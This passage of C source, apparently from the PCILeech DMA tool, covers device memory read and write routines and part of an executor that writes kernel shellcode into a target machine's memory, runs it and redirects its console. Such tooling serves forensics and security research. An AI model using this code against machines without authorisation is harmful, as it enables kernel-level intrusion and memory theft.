comparison is TRUE return TRUE - otherwise FALSE. * -- pfnStrCmp * -- usz1 * -- fCaseInsensitive * -- cStr * -- * ... * -- return */ BOOL CharUtil_StrCmpAny(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPCSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, ...); /* * Compare multiple strings with a CharUtil_Str* compare function. * If at least one comparison is TRUE return TRUE - otherwise FALSE. * -- pfnStrCmp * -- usz1 * -- fCaseInsensitive * -- cStr * -- pStr * -- return */ BOOL CharUtil_StrCmpAnyEx(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPCSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, _In_ LPCSTR *pStr); /* * Compare multiple strings with a CharUtil_Str* compare function. * If all comparisons are TRUE return TRUE - otherwise FALSE. * -- pfnStrCmp * -- usz1 * -- fCaseInsensitive * -- cStr * -- * ... * -- return */ BOOL CharUtil_StrCmpAll(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPCSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, ...); /* * Checks if a string ends with a certain substring. * -- usz * -- uszEndsWith * -- fCaseInsensitive * -- return */ BOOL CharUtil_StrEndsWith(_In_opt_ LPCSTR usz, _In_opt_ LPCSTR uszEndsWith, _In_ BOOL fCaseInsensitive); /* * Checks if a string starts with a certain substring. * -- usz * -- uszStartsWith * -- fCaseInsensitive * -- return */ BOOL CharUtil_StrStartsWith(_In_opt_ LPCSTR usz, _In_opt_ LPCSTR uszStartsWith, _In_ BOOL fCaseInsensitive); /* * Checks if a string equals another string. * -- usz1 * -- usz2 * -- fCaseInsensitive * -- return */ BOOL CharUtil_StrEquals(_In_opt_ LPCSTR usz, _In_opt_ LPCSTR usz2, _In_ BOOL fCaseInsensitive); /* * Checks if a string contains a certain substring, if found return the pointer * to the 1st start of the substring in the original string. * -- usz * -- uszNeedle * -- fCaseInsensitive * -- return = pointer to the start of the substring in usz, or NULL if not found. */ LPCSTR CharUtil_StrContains(_In_opt_ LPCSTR usz, _In_opt_ LPCSTR uszSubString, _In_ BOOL fCaseInsensitive); /* * Compare a wide-char string to a utf-8 string. * NB! only the first 2*MAX_PATH characters are compared. * -- wsz1 * -- usz2 * -- return = 0 if equals, -1/1 otherwise. */ int CharUtil_CmpWU(_In_opt_ LPWSTR wsz1, _In_opt_ LPSTR usz2, _In_ BOOL fCaseInsensitive); /* * Compare two wide-char strings. * NB! only the first 2*MAX_PATH characters are compared. * -- wsz1 * -- wsz2 * -- return = 0 if equals, -1/1 otherwise. */ int CharUtil_CmpWW(_In_opt_ LPCWSTR wsz1, _In_opt_ LPCWSTR wsz2, _In_ BOOL fCaseInsensitive); #endif /* __CHARUTIL_H__ */ ``` `pcileech/device.c`: ```c // device.c : implementation related to hardware devices. // // (c) Ulf Frisk, 2016-2026 // Author: Ulf Frisk, pcileech@frizk.net // #include #include "device.h" #include "kmd.h" #include "statistics.h" #include "vmmx.h" _Success_(return) BOOL DeviceReadDMA_Retry(_In_ HANDLE hLC, _In_ QWORD pa, _In_ DWORD cb, _Out_writes_(cb) PBYTE pb) { return LcRead(hLC, pa, cb, pb) || LcRead(hLC, pa, cb, pb); } _Success_(return) BOOL DeviceWriteDMA_Retry(_In_ HANDLE hLC, _In_ QWORD pa, _In_ DWORD cb, _In_reads_(cb) PBYTE pb) { return LcWrite(hLC, pa, cb, pb) || LcWrite(hLC, pa, cb, pb); } _Success_(return) BOOL DeviceWriteDMA_Verify(_In_ HANDLE hLC, _In_ QWORD pa, _In_ DWORD cb, _In_reads_(cb) PBYTE pb) { PBYTE pbBuffer = NULL; BOOL fResult = DeviceWriteDMA_Retry(hLC, pa, cb, pb) && (pbBuffer = LocalAlloc(0, cb)) && DeviceReadDMA_Retry(hLC, pa, cb, pbBuffer) && (0 == memcmp(pb, pbBuffer, cb)); LocalFree(pbBuffer); return fResult; } DWORD DeviceReadDMA(_In_ QWORD pa, _In_ DWORD cb, _Out_writes_(cb) PBYTE pb, _Inout_opt_ PPAGE_STATISTICS pPageStat) { PMEM_SCATTER pMEM, *ppMEMs = NULL; DWORD i, cMEMs, cbRead = 0; cMEMs = cb >> 12; if((pa & 0xfff) || !cb || (cb & 0xfff)) { return 0; } if(!LcAllocScatter2(cb, pb, cMEMs, &ppMEMs)) { return 0; } for(i = 0; i < cMEMs; i++) { ppMEMs[i]->qwA = pa + ((QWORD)i << 12); } LcReadScatter(ctxMain->hLC, cMEMs, ppMEMs); for(i = 0; i < cMEMs; i++) { pMEM = ppMEMs[i]; if(pMEM->f) { cbRead += pMEM->cb; } else { ZeroMemory(pMEM->pb, pMEM->cb); } if(pPageStat) { PageStatUpdate(pPageStat, ppMEMs[i]->qwA + 0x1000, pMEM->f ? 1 : 0, pMEM->f ? 0 : 1); } } LcMemFree(ppMEMs); return cbRead; } /* * Set a custom user-defined or auto-generated memory map either from: * - command line argument * - file: a user defined memory map text file. * - auto: auto generated memory map retrieved using MemProcFS when target OS * is Windows and when PCILeech is running on Windows OS. * -- return */ _Success_(return) BOOL DeviceOpen2_SetCustomMemMap() { BOOL fResult = FALSE; FILE *hFile = NULL; DWORD cb; PBYTE pb = NULL, pbResult = NULL; if(0 == _stricmp("none", ctxMain->cfg.szMemMap)) { return TRUE; } if(!(pb = LocalAlloc(LMEM_ZEROINIT, 0x01000000))) { goto fail; } if(0 == _stricmp("auto", ctxMain->cfg.szMemMap)) { if(!Vmmx_Initialize(FALSE, TRUE)) { goto fail; } } else { if(fopen_s(&hFile, ctxMain->cfg.szMemMap, "rb") || !hFile) { goto fail; } cb = (DWORD)fread(pb, 1, 0x01000000, hFile); if((cb == 0) || (cb > 0x01000000)) { goto fail; } if(!LcCommand(ctxMain->hLC, LC_CMD_MEMMAP_SET, cb, pb, NULL, NULL)) { goto fail; } } fResult = LcCommand(ctxMain->hLC, LC_CMD_MEMMAP_GET, 0, NULL, &pbResult, NULL) && LcGetOption(ctxMain->hLC, LC_OPT_CORE_ADDR_MAX, &ctxMain->dev.paMax); if(fResult && ctxMain->cfg.fVerbose) { printf("TARGET SYSTEM MEMORY MAP:\n"); printf(" # RANGE_BASE RANGE_TOP RANGE_REMAP\n"); printf("============================================================\n"); printf("%s\n", (LPSTR)pbResult); } fail: LocalFree(pb); LcMemFree(pbResult); Vmmx_Close(); if(hFile) { fclose(hFile); } return fResult; } #ifdef _WIN32 _Success_(return) BOOL DeviceOpen2_RequestUserInput() { BOOL fResult; LPSTR szProto; DWORD i, cbRead = 0; CHAR szInput[33] = { 0 }; CHAR szDevice[MAX_PATH] = { 0 }; HANDLE hStdIn = GetStdHandle(STD_INPUT_HANDLE); // must not be closed. // 1: read input printf("\n?> "); fResult = ReadConsoleA(hStdIn, szInput, 32, &cbRead, NULL); for(i = 0; i < _countof(szInput); i++) { if((szInput[i] == '\r') || (szInput[i] == '\n')) { szInput[i] = 0; } } cbRead = (DWORD)strlen(szInput); if(!cbRead) { return FALSE; } // 2: clear "userinput" option and update "device" option ctxMain->cfg.fUserInteract = FALSE; szProto = strstr(ctxMain->cfg.szDevice, "://"); snprintf( szDevice, MAX_PATH - 1, "%s%s%sid=%s", ctxMain->cfg.szDevice, szProto ? "" : "://", szProto && szProto[3] ? "," : "", szInput); memcpy(ctxMain->cfg.szDevice, szDevice, MAX_PATH); // 3: try re-initialize with new user input return DeviceOpen(); } #else /* _WIN32 */ _Success_(return) BOOL DeviceOpen2_RequestUserInput() { return FALSE; } #endif /* _WIN32 */ _Success_(return) BOOL DeviceOpen2(_In_ LPSTR szDevice, _In_ BOOL fFailSilent) { BOOL f; PLC_CONFIG_ERRORINFO pLcErrorInfo = NULL; ZeroMemory(&ctxMain->dev, sizeof(ctxMain->dev)); ctxMain->dev.dwVersion = LC_CONFIG_VERSION; if(!fFailSilent) { // do not initially enable leechcore error messages / printouts if set to fail silent ctxMain->dev.dwPrintfVerbosity = LC_CONFIG_PRINTF_ENABLED | (ctxMain->cfg.fVerbose ? LC_CONFIG_PRINTF_V : 0) | (ctxMain->cfg.fVerboseExtra ? LC_CONFIG_PRINTF_VV : 0); } strcpy_s(ctxMain->dev.szDevice, MAX_PATH, szDevice); strcpy_s(ctxMain->dev.szRemote, MAX_PATH, ctxMain->cfg.szRemote); ctxMain->dev.paMax = ctxMain->cfg.paAddrMax; ctxMain->hLC = LcCreateEx(&ctxMain->dev, &pLcErrorInfo); if(!ctxMain->hLC) { #ifdef _WIN32 if(pLcErrorInfo && (pLcErrorInfo->dwVersion == LC_CONFIG_ERRORINFO_VERSION)) { if(pLcErrorInfo->cwszUserText) { wprintf(L"MESSAGE FROM MEMORY ACQUISITION DEVICE:\n=======================================\n%s\n", pLcErrorInfo->wszUserText); } if(ctxMain->cfg.fUserInteract && pLcErrorInfo->fUserInputRequest) { LcMemFree(pLcErrorInfo); return DeviceOpen2_RequestUserInput(); } } #endif /* _WIN32 */ ZeroMemory(&ctxMain->dev, sizeof(ctxMain->dev)); LcMemFree(pLcErrorInfo); return FALSE; } // enable standard verbosity levels upon success (if not already set) if(fFailSilent) { LcSetOption(ctxMain->hLC, LC_OPT_CORE_PRINTF_ENABLE, 1); LcSetOption(ctxMain->hLC, LC_OPT_CORE_VERBOSE, (ctxMain->cfg.fVerbose ? 1 : 0)); LcSetOption(ctxMain->hLC, LC_OPT_CORE_VERBOSE_EXTRA, (ctxMain->cfg.fVerboseExtra ? 1 : 0)); } if(ctxMain->cfg.fVerboseExtraTlp) { LcSetOption(ctxMain->hLC, LC_OPT_CORE_VERBOSE_EXTRA_TLP, 1); } // enable custom memory map (if option is set) if(ctxMain->cfg.szMemMap[0]) { if(!DeviceOpen2_SetCustomMemMap()) { printf("PCILEECH: Invalid memory map: '%s'.\n", ctxMain->cfg.szMemMap); return FALSE; } } if(ctxMain->cfg.szMemMapStr[0]) { f = LcCommand(ctxMain->hLC, LC_CMD_MEMMAP_SET, (DWORD)strlen(ctxMain->cfg.szMemMapStr), ctxMain->cfg.szMemMapStr, NULL, NULL) && LcGetOption(ctxMain->hLC, LC_OPT_CORE_ADDR_MAX, &ctxMain->dev.paMax); if(!f) { printf("PCILEECH: Invalid memory map given on command line option.\n"); return FALSE; } } return TRUE; } _Success_(return) BOOL DeviceOpen() { if(0 == ctxMain->cfg.szDevice[0]) { if(DeviceOpen2("FPGA", TRUE) || DeviceOpen2("USB3380", TRUE)) { strcpy_s(ctxMain->cfg.szDevice, MAX_PATH, ctxMain->dev.szDevice); return TRUE; } return FALSE; } return DeviceOpen2(ctxMain->cfg.szDevice, FALSE); } _Success_(return) BOOL DeviceWriteMEM(_In_ QWORD qwAddr, _In_ DWORD cb, _In_reads_(cb) PBYTE pb, _In_ BOOL fRetryOnFail) { if(ctxMain->phKMD && !ctxMain->cfg.fNoKmdMem) { return KMDWriteMemory(qwAddr, pb, cb); } return LcWrite(ctxMain->hLC, qwAddr, cb, pb) || (fRetryOnFail && LcWrite(ctxMain->hLC, qwAddr, cb, pb)); } _Success_(return) BOOL DeviceReadMEM(_In_ QWORD qwAddr, _In_ DWORD cb, _Out_writes_(cb) PBYTE pb, _In_ BOOL fRetryOnFail) { if(ctxMain->phKMD && !ctxMain->cfg.fNoKmdMem) { return KMDReadMemory(qwAddr, pb, cb); } return LcRead(ctxMain->hLC, qwAddr, cb, pb) || (fRetryOnFail && LcRead(ctxMain->hLC, qwAddr, cb, pb)); } ``` `pcileech/device.h`: ```h // device.h : definitions related to the hardware devices. // // (c) Ulf Frisk, 2016-2026 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __DEVICE_H__ #define __DEVICE_H__ #include "pcileech.h" #include "oscompatibility.h" #include "statistics.h" /* * Open a connection to the target device. * -- result */ _Success_(return) BOOL DeviceOpen(); /* * Try read memory with DMA in a fairly optimal way considering device limits. * The number of total successfully read bytes is returned. Failed reads will * be zeroed out the he returned memory. * -- pa * -- cb * -- pb * -- pPageStat = optional page statistics * -- return = the number of bytes successfully read. * */ DWORD DeviceReadDMA(_In_ QWORD pa, _In_ DWORD cb, _Out_writes_(cb) PBYTE pb, _Inout_opt_ PPAGE_STATISTICS pPageStat); /* * Write target physical memory. If an KMD is inserted in the target kernel the * KMD will be used to write the memory, otherwise the memory will be written * with standard DMA. Minimum granularity: byte. * -- qwAddr = the physical address to write to in the target system. * -- cb = number of bytes to write. * -- pb = bytes to write * -- fRetryOnFail * -- return */ _Success_(return) BOOL DeviceWriteMEM(_In_ QWORD qwAddr, _In_ DWORD cb, _In_reads_(cb) PBYTE pb, _In_ BOOL fRetryOnFail); /* * Read target physical memory. If an KMD is inserted in the target kernel the * KMD will be used to read the memory, otherwise the memory will be read with * standard DMA. Minimum granularity: page (4kB) * -- qwAddr = physical address in target system to read. * -- cb = length of data to read, must not be larger than pb. * -- pb = pre-allocated buffer to place result in. * -- fRetryOnFail * -- return */ _Success_(return) BOOL DeviceReadMEM(_In_ QWORD qwAddr, _In_ DWORD cb, _Out_writes_(cb) PBYTE pb, _In_ BOOL fRetryOnFail); /* * LcRead with a single retry on fail. */ _Success_(return) BOOL DeviceReadDMA_Retry(_In_ HANDLE hLC, _In_ QWORD pa, _In_ DWORD cb, _Out_writes_(cb) PBYTE pb); /* * LeechCore LcWrite with a single retry on fail. */ _Success_(return) BOOL DeviceWriteDMA_Retry(_In_ HANDLE hLC, _In_ QWORD pa, _In_ DWORD cb, _In_reads_(cb) PBYTE pb); /* * Write to target physical memory using DMA and read back the same memory and * thus verifying that the write was successful indeed. * -- hLC * -- pa * -- cb * -- pb */ _Success_(return) BOOL DeviceWriteDMA_Verify(_In_ HANDLE hLC, _In_ QWORD pa, _In_ DWORD cb, _In_reads_(cb) PBYTE pb); #endif /* __DEVICE_H__ */ ``` `pcileech/executor.c`: ```c // executor.c : implementation related 'code execution' and 'console redirect' functionality. // // (c) Ulf Frisk, 2016-2026 // Author: Ulf Frisk, pcileech@frizk.net // #include "executor.h" #include "device.h" #include "util.h" #include "vmmx.h" #define EXEC_IO_MAGIC 0x12651232dfef9521 #define EXEC_IO_CONSOLE_BUFFER_SIZE 0x800 #define EXEC_IO_DMAOFFSET_IS 0x80000 #define EXEC_IO_DMAOFFSET_OS 0x81000 typedef struct tdEXEC_IO { QWORD magic; struct { QWORD cbRead; QWORD cbReadAck; QWORD Reserved[10]; BYTE pb[800]; } con; struct { QWORD seq; QWORD seqAck; QWORD fCompleted; QWORD fCompletedAck; } bin; QWORD Reserved[395]; } EXEC_IO, *PEXEC_IO; typedef struct tdCONSOLEREDIR_THREADDATA { HANDLE hThreadIS; HANDLE hThreadOS; PEXEC_IO pInfoIS; PEXEC_IO pInfoOS; BYTE pbDataISConsoleBuffer[4096]; BYTE pbDataOSConsoleBuffer[4096]; BOOL fTerminateThread; } CONSOLEREDIR_THREADDATA, *PCONSOLEREDIR_THREADDATA; typedef struct tdEXEC_HANDLE { PBYTE pbDMA; FILE *pFileOutput; QWORD qwFileWritten; QWORD fError; EXEC_IO is; EXEC_IO os; } EXEC_HANDLE, *PEXEC_HANDLE; static PPAGE_STATISTICS g_pExecPageStat = NULL; // input buffer to targeted console (outgoing info) // read from this console and send to targeted console DWORD WINAPI ConsoleRedirect_ThreadConsoleInput(PCONSOLEREDIR_THREADDATA pd) { DWORD cbWrite, cbModulo, cbModuloAck; while(!pd->fTerminateThread) { while(pd->pInfoOS->con.cbRead == pd->pInfoIS->con.cbReadAck) { Sleep(10); continue; } cbModulo = pd->pInfoOS->con.cbRead % EXEC_IO_CONSOLE_BUFFER_SIZE; cbModuloAck = pd->pInfoIS->con.cbReadAck % EXEC_IO_CONSOLE_BUFFER_SIZE; if(cbModuloAck < cbModulo) { cbWrite = cbModulo - cbModuloAck; printf("%.*s", cbWrite, pd->pInfoOS->con.pb + cbModuloAck); } else { cbWrite = EXEC_IO_CONSOLE_BUFFER_SIZE - cbModuloAck; printf("%.*s", cbWrite, pd->pInfoOS->con.pb + cbModuloAck); } pd->pInfoIS->con.cbReadAck += cbWrite; } return 0; } DWORD WINAPI ConsoleRedirect_ThreadConsoleOutput(PCONSOLEREDIR_THREADDATA pd) { while(!pd->fTerminateThread) { *(pd->pInfoIS->con.pb + (pd->pInfoIS->con.cbRead % EXEC_IO_CONSOLE_BUFFER_SIZE)) = (BYTE)getchar(); pd->pInfoIS->con.cbRead++; while(pd->pInfoIS->con.cbRead - pd->pInfoOS->con.cbReadAck >= EXEC_IO_CONSOLE_BUFFER_SIZE) { Sleep(10); } } return 0; } BOOL Exec_ConsoleRedirect_Initialize(_In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD ConsoleBufferAddr_OutputStream, _In_ DWORD dwPID, _Inout_ PCONSOLEREDIR_THREADDATA pd) { BOOL result; UNREFERENCED_PARAMETER(ConsoleBufferAddr_InputStream); pd->pInfoIS = (PEXEC_IO)pd->pbDataISConsoleBuffer; pd->pInfoOS = (PEXEC_IO)pd->pbDataOSConsoleBuffer; // read initial buffer and check validity result = dwPID ? VMMDLL_MemReadEx(ctxMain->hVMM, dwPID, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000, NULL, VMMDLL_FLAG_NOCACHE) : DeviceReadMEM(ConsoleBufferAddr_OutputStream, 0x1000, pd->pbDataOSConsoleBuffer, FALSE); if(!result || (pd->pInfoOS->magic != EXEC_IO_MAGIC)) { return FALSE; } // create worker threads pd->hThreadIS = CreateThread(NULL, 0, ConsoleRedirect_ThreadConsoleInput, pd, 0, NULL); pd->hThreadOS = CreateThread(NULL, 0, ConsoleRedirect_ThreadConsoleOutput, pd, 0, NULL); return TRUE; } /* * Execute a console redirect * -- ConsoleBufferAddr_InputStream = physical or virtual address. * -- ConsoleBufferAddr_OutputStream = physical or virtual address. * -- dwPID = zero if physical address read, non-zero if virtual address read. */ VOID Exec_ConsoleRedirect(_In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD ConsoleBufferAddr_OutputStream, _In_ DWORD dwPID) { BOOL result; PCONSOLEREDIR_THREADDATA pd = LocalAlloc(LMEM_ZEROINIT, sizeof(CONSOLEREDIR_THREADDATA)); if(!pd) { return; } result = Exec_ConsoleRedirect_Initialize(ConsoleBufferAddr_InputStream, ConsoleBufferAddr_OutputStream, dwPID, pd); if(!result) { printf("\nCONSOLE_REDIRECT: Error: Address 0x%016llX does not\ncontain a valid console buffer.\n", ConsoleBufferAddr_OutputStream); goto fail; } // buffer syncer while(TRUE) { SwitchToThread(); result = dwPID ? VMMDLL_MemReadEx(ctxMain->hVMM, dwPID, ConsoleBufferAddr_OutputStream, pd->pbDataOSConsoleBuffer, 0x1000, NULL, VMMDLL_FLAG_NOCACHE) : DeviceReadMEM(ConsoleBufferAddr_OutputStream, 0x1000, pd->pbDataOSConsoleBuffer, FALSE); if(!result || pd->pInfoOS->magic != EXEC_IO_MAGIC) { printf("\nCONSOLE_REDIRECT: Error: Address 0x%016llX does not\ncontain a valid console buffer.\n", ConsoleBufferAddr_OutputStream); goto fail; } if(dwPID) { VMMDLL_MemWrite(ctxMain->hVMM, dwPID, ConsoleBufferAddr_InputStream, pd->pbDataISConsoleBuffer, 0x1000); } else { DeviceWriteMEM(ConsoleBufferAddr_InputStream, 0x1000, pd->pbDataISConsoleBuffer, FALSE); } } fail: pd->fTerminateThread = TRUE; } _Success_(return) BOOL Exec_Callback(_Inout_ PHANDLE phCallback) { BOOL result; PEXEC_HANDLE ph = *phCallback; QWORD cbLength; // initialize if not initialized previously. if(!*phCallback) { // core initialize ph = *phCallback = LocalAlloc(LMEM_ZEROINIT, sizeof(EXEC_HANDLE)); if(!ph) { return FALSE; } ph->pbDMA = LocalAlloc(LMEM_ZEROINIT, (SIZE_T)ctxMain->pk->dataOutExtraLengthMax); if(!ph->pbDMA) { LocalFree(ph); *phCallback = NULL; return FALSE; } ph->is.magic = EXEC_IO_MAGIC; // open output file if(!fopen_s(&ph->pFileOutput, ctxMain->cfg.szFileOut, "r") || ph->pFileOutput) { if(ph->pFileOutput) { fclose(ph->pFileOutput); } printf("EXEC: Failed. File already exists: %s\n", ctxMain->cfg.szFileOut); LocalFree(ph); *phCallback = NULL; return FALSE; } if(fopen_s(&ph->pFileOutput, ctxMain->cfg.szFileOut, "wb") || !ph->pFileOutput) { ph->is.bin.fCompletedAck = TRUE; LcWrite(ctxMain->hLC, ctxMain->pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_IS, 0x1000, (PBYTE)&ph->is); ph->fError = TRUE; printf("EXEC: Failed writing large outut to file: %s\n", ctxMain->cfg.szFileOut); LocalFree(ph); *phCallback = NULL; return FALSE; } printf("EXEC: Start writing large output to file: %s\n\n", ctxMain->cfg.szFileOut); if(ctxMain->cfg.fVerbose) { PageStatInitialize(&g_pExecPageStat, 0, 0x0000100000000000, "Downloading large file of unknown size ...", TRUE, FALSE); g_pExecPageStat->File.qwBaseOffset = 0; g_pExecPageStat->File.qwCurrentOffset = 0; g_pExecPageStat->File.fFileRead = TRUE; } } // write to output file and ack to buffer if(ph->is.bin.fCompletedAck) { return TRUE; } LcRead(ctxMain->hLC, ctxMain->pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_OS, 0x1000, (PBYTE)&ph->os); if(ph->os.magic != EXEC_IO_MAGIC) { return TRUE; } if(ph->is.bin.seqAck >= ph->os.bin.seq) { return TRUE; } cbLength = 0; result = DeviceReadDMA(ctxMain->pk->DMAAddrPhysical + ctxMain->pk->dataOutExtraOffset, (DWORD)SIZE_PAGE_ALIGN_4K(ctxMain->pk->dataOutExtraLength), ph->pbDMA, NULL) && (cbLength = fwrite(ph->pbDMA, 1, (SIZE_T)ctxMain->pk->dataOutExtraLength, ph->pFileOutput)) && (ctxMain->pk->dataOutExtraLength == cbLength); ph->qwFileWritten += cbLength; ph->fError = !result; ph->is.bin.fCompletedAck = ph->is.bin.fCompletedAck || ph->os.bin.fCompleted || !result; ph->is.bin.seqAck = ph->os.bin.seq; LcWrite(ctxMain->hLC, ctxMain->pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_IS, 0x1000, (PBYTE)&ph->is); if(g_pExecPageStat) { g_pExecPageStat->File.qwCurrentOffset += cbLength >> 12; PageStatUpdate(g_pExecPageStat, ph->qwFileWritten, cbLength >> 12, 0); } return TRUE; } VOID Exec_CallbackClose(_In_opt_ HANDLE hCallback) { PEXEC_HANDLE ph = hCallback; if(g_pExecPageStat) { PageStatClose(&g_pExecPageStat); g_pExecPageStat = NULL; Sleep(50); } if(hCallback == NULL) { return; } if(ph->pFileOutput) { if(ph->fError) { printf("EXEC: Failed writing large outut to file: %s\n", ctxMain->cfg.szFileOut); } else { printf("EXEC: Successfully wrote %i bytes.\n", (DWORD)ph->qwFileWritten); } } if(ph->pFileOutput) { fclose(ph->pFileOutput); } LocalFree(ph->pbDMA); LocalFree(ph); } _Success_(return) BOOL Exec_ExecSilent(_In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_opt_ PBYTE *ppbOut, _Out_opt_ PQWORD pcbOut) { BOOL result = FALSE; PKMDDATA pk = ctxMain->pk; PKMDEXEC pKmdExec = NULL; //------------------------------------------------ // 1: Setup and initial validity checks. //------------------------------------------------ if(pcbOut) { *pcbOut = 0; } if(ppbOut) { *ppbOut = NULL; } if(!ctxMain->phKMD || (ctxMain->pk->DMASizeBuffer < 0x80000 + SIZE_PAGE_ALIGN_4K(cbIn))) { goto fail; } if(!Util_LoadKmdExecShellcode(szShellcodeName, &pKmdExec) || (pKmdExec->cbShellcode > 0x80000)) { goto fail; } //------------------------------------------------ // 2: Set up shellcode and indata and write to target memory. // X, Y = page aligned. // [0 , Y [ = shellcode // [0x80000 , X [ = data in (to target computer) // [X , buf_max [ = data out (from target computer) //------------------------------------------------ if(!DeviceWriteDMA_Retry(ctxMain->hLC, pk->DMAAddrPhysical, (DWORD)pKmdExec->cbShellcode, pKmdExec->pbShellcode)) { goto fail; } if(cbIn && !DeviceWriteDMA_Retry(ctxMain->hLC, pk->DMAAddrPhysical + 0x80000, (DWORD)cbIn, pbIn)) { goto fail; } pk->dataInExtraOffset = 0x80000; // first 0x80 pages are reserved for shellcode (RX section) in Linux 6.4+. pk->dataInExtraLength = cbIn; pk->dataInExtraLengthMax = SIZE_PAGE_ALIGN_4K(cbIn); pk->dataOutExtraOffset = pk->dataInExtraOffset + pk->dataInExtraLengthMax; pk->dataOutExtraLength = 0; pk->dataOutExtraLengthMax = pk->DMASizeBuffer - pk->dataOutExtraOffset; //------------------------------------------------ // 3: Execute! //------------------------------------------------ KMD_SubmitCommand(KMD_CMD_VOID); result = KMD_SubmitCommand(KMD_CMD_EXEC); if(!result || pk->dataOut[0] || (pk->dataOutExtraLength > pk->dataOutExtraLengthMax)) { result = FALSE; goto fail; } //------------------------------------------------ // 5: Display/Write additional output. //------------------------------------------------ if(ppbOut && pcbOut) { *pcbOut = pk->dataOutExtraLength; *ppbOut = (PBYTE)LocalAlloc(0, SIZE_PAGE_ALIGN_4K(*pcbOut)); if(!*ppbOut) { result = FALSE; goto fail; } result = SIZE_PAGE_ALIGN_4K(*pcbOut) == DeviceReadDMA(pk->DMAAddrPhysical + pk->dataOutExtraOffset, SIZE_PAGE_ALIGN_4K(*pcbOut), *ppbOut, NULL); } fail: LocalFree(pKmdExec); return result; } VOID ActionExecShellcode() { BOOL result; PKMDEXEC pKmdExec = NULL; PBYTE pbBuffer = NULL; BYTE pbZeroPage2[0x2000] = { 0 }; PSTR szBufferText = NULL; DWORD cbLength; FILE *pFile = NULL; PKMDDATA pk = ctxMain->pk; //------------------------------------------------ // 1: Setup and initial validity checks. //------------------------------------------------ if(!ctxMain->phKMD) { printf("EXEC: Failed. Executing code requires an active kernel module (KMD).\n Please use in conjunction with the -kmd option only.\n"); goto fail; } if(pk->DMASizeBuffer < 0x084000 + 0x100000 + min(0x100000, SIZE_PAGE_ALIGN_4K(ctxMain->cfg.cbIn))) { printf("EXEC: Failed. DMA buffer is too small / input size exceeded.\n"); goto fail; } //------------------------------------------------ // 2: Load KMD shellcode and commit to target memory. //------------------------------------------------ result = Util_LoadKmdExecShellcode(ctxMain->cfg.szShellcodeName, &pKmdExec); if(!result) { printf("EXEC: Failed loading shellcode from file: '%s.ksh' ...\n", ctxMain->cfg.szShellcodeName); goto fail; } result = DeviceWriteDMA_Verify(ctxMain->hLC, pk->DMAAddrPhysical, (DWORD)pKmdExec->cbShellcode, pKmdExec->pbShellcode); if(!result) { printf("EXEC: Failed writing shellcode to target memory.\n"); goto fail; } //------------------------------------------------ // 3: Set up indata and write to target memory. // Memory layout of DMA buffer: // [0x000000, 0x080000[ = shellcode // [0x080000 ] = (shellcode initiated com buffer for console and data transfer (input to implant) [IS]) // [0x081000 ] = (shellcode initiated com buffer for console and data transfer (output from implant) [OS]) // [0x082000, X [ = data in (to target computer); X = max(0x040000, cb_in) // [X , buf_max [ = data out (from target computer) //------------------------------------------------ LcWrite(ctxMain->hLC, pk->DMAAddrPhysical + 0x080000, 0x2000, pbZeroPage2); pk->dataInExtraOffset = 0x082000; pk->dataInExtraLength = ctxMain->cfg.cbIn; pk->dataInExtraLengthMax = max(0x040000, SIZE_PAGE_ALIGN_4K(ctxMain->cfg.cbIn)); pk->dataOutExtraOffset = pk->dataInExtraOffset + pk->dataInExtraLengthMax; pk->dataOutExtraLength = 0; pk->dataOutExtraLengthMax = pk->DMASizeBuffer - pk->dataOutExtraOffset; memcpy(pk->dataIn, ctxMain->cfg.qwDataIn, sizeof(QWORD) * 10); memcpy(pk->dataInStr, ctxMain->cfg.szInS, MAX_PATH); memset(pk->dataOut, 0, sizeof(QWORD) * 10); memset(pk->dataOutStr, 0, MAX_PATH); if(ctxMain->cfg.cbIn) { result = LcWrite(ctxMain->hLC, pk->DMAAddrPhysical + pk->dataInExtraOffset, (DWORD)SIZE_PAGE_ALIGN_4K(ctxMain->cfg.cbIn), ctxMain->cfg.pbIn); if(!result) { printf("EXEC: Failed writing data to target memory.\n"); goto fail; } } pk->dataInConsoleBuffer = 0; pk->dataOutConsoleBuffer = 0; //------------------------------------------------ // 4: Execute! and display result. //------------------------------------------------ KMD_SubmitCommand(KMD_CMD_VOID); result = KMD_SubmitCommand(KMD_CMD_EXEC); if(!result) { printf("EXEC: Failed sending execute command to KMD.\n"); goto fail; } printf("EXEC: SUCCESS! shellcode should now execute in kernel!\nPlease see below for results.\n\n"); printf(pKmdExec->szOutFormatPrintf, pk->dataOutStr, pk->dataOut[0], pk->dataOut[1], pk->dataOut[2], pk->dataOut[3], pk->dataOut[4], pk->dataOut[5], pk->dataOut[6], pk->dataOut[7], pk->dataOut[8], pk->dataOut[9]); //------------------------------------------------ // 5: Display/Write additional output. //------------------------------------------------ cbLength = (DWORD)pk->dataOutExtraLength; if(cbLength > 0) { // read extra output buffer if(!(pbBuffer = LocalAlloc(LMEM_ZEROINIT, SIZE_PAGE_ALIGN_4K(cbLength))) || !DeviceReadDMA(pk->DMAAddrPhysical + pk->dataOutExtraOffset, SIZE_PAGE_ALIGN_4K(cbLength), pbBuffer, NULL)) { printf("EXEC: Error reading output.\n"); goto fail; } // print to screen Util_PrintHexAscii(pbBuffer, cbLength, 0); // write to out file if(ctxMain->cfg.szFileOut[0]) { // open output file if(!fopen_s(&pFile, ctxMain->cfg.szFileOut, "r") || pFile) { printf("EXEC: Error writing output to file. File already exists: %s\n", ctxMain->cfg.szFileOut); goto fail; } if(fopen_s(&pFile, ctxMain->cfg.szFileOut, "wb") || !pFile) { printf("EXEC: Error writing output to file.\n"); goto fail; } if(cbLength != fwrite(pbBuffer, 1, cbLength, pFile)) { printf("EXEC: Error writing output to file.\n"); goto fail; } printf("EXEC: 